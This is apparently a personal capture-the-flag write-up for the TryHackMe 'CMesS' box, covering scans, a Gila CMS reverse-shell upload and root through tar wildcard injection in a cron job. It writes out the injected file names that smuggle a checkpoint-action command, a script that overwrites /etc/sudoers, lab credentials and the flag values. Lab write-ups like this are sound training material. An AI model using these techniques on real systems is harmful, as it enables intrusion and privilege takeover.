CMesS

CMesS

Can you root this Gila CMS box?

[Task 1] Flags

Please add `MACHINE_IP cmess.thm` to /etc/hosts
Please also note that this box does not require brute forcing!

click me
Compromise this machine and obtain user.txt +30 points

thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

click me
Escalate your privileges and obtain root.txt +50 points

thm{9f85b7fdeb2cf96985bf5761a93546a2}

nmap-scan

sudo nmap -sC -sV 10.10.241.244

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_  256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS: Ubuntu
CMS: Gila CMS version 1.10.9
```

gobuster-scan

gobuster dir -w /home/taj702/Desktop/wordlists/web-enumeration/common-dirs.txt -u cmess.thm

```
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/0 (Status: 200)
/01 (Status: 200)
/1 (Status: 200)
/1x1 (Status: 200)
/About (Status: 200)
/Index (Status: 200)
/Search (Status: 200)
/about (Status: 200)
/admin (Status: 200)
/api (Status: 200)
/api/experiments (Status: 200)
/api/experiments/configurations (Status: 200)
/assets (Status: 301)
/author (Status: 200)
/blog (Status: 200)
/category (Status: 200)
/feed (Status: 200)
/fm (Status: 200)
/index (Status: 200)
/lib (Status: 301)
/log (Status: 301)
/login (Status: 200)
/robots.txt (Status: 200)
/search (Status: 200)
/server-status (Status: 403)
/sites (Status: 301)
/src (Status: 301)
/tag (Status: 200)
/tags (Status: 200)
/themes (Status: 301)
/tmp (Status: 301)
```

ffuf-domain-scan

```
./ffuf -w /home/taj702/Desktop/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm
```

-H "Host: FUZZ.cmess.thm" -fw 522

dev.cmess.thm

creds

andre@cmess.thm
support@cmess.thm
andre@cmess.thm:KPFTN_f2yxe%
andre:UQfsdCB7aAP6

writeup

----------user-flag----------

--ran sudo nmap -sC -sV 10.10.241.244 and found open ports 22 and 80
--added 10.10.241.244 cmess.thm to host file
--ran gobuster dir -w /home/taj702/Desktop/wordlists/web-enumeration/common-dirs.txt -u cmess.thm and found many directories listed here (gobuster-scan node)
--enumerated subdomains by running ./ffuf -w /home/taj702/Desktop/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" -fw 522 command:
found dev.cmess.thm

--added dev.cmess.thm to host file and went to page that gives us some credentials (creds node):
andre@cmess.thm:KPFTN_f2yxe%

--logged in to Gila CMS and found version number 1.10.9, and an upload section
--inside CMS I went to assets directory and uploaded php-reverse-shell.php, started a netcat listener, and went to cmess.thm/assets/php-reverse-shell.php to get reverse shell as www-data user
--used wget to upload linenum.sh to target, ran linenum.sh and found intersting file called /opt/.password.bak containing andres password:
UQfsdCB7aAP6

--logged in to ssh andre@10.10.241.244 with password above successfully
--ran cat user.txt to get user flag:
thm{c529b5d5d6ab6b430b7eb1903b2b5e1b}

----------root-flag----------

--uploaded linpeas.sh with scp to /tmp directory and ran it to get:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

***/2 * * * * root cd /home/mandre/backup && tar -zcf /tmp/andre_backup.tar.gz ***

--found writeups about the wilcard injection exploit, since tar runs with the "*" wildcard:
https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
https://medium.com/@int0x33/day-67-tar-cron-2-root-abusing-wildcards-for-tar-argument-injection-in-root-cronjob-nix-c65c59a77f5e

--went to /backup directory and setup the exploit using the following commands:
echo 'echo "andre ALL=(root) NOPASSWD: ALL" >/etc/sudoers' > privesc.sh
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo "" > --checkpoint=1

--ran ls -al to make sure correct files were created and they were good
--ran sudo bash to get root terminal
--ran cat /root/root.txt to get root flag:
thm{9f85b7fdeb2cf96985bf5761a93546a2}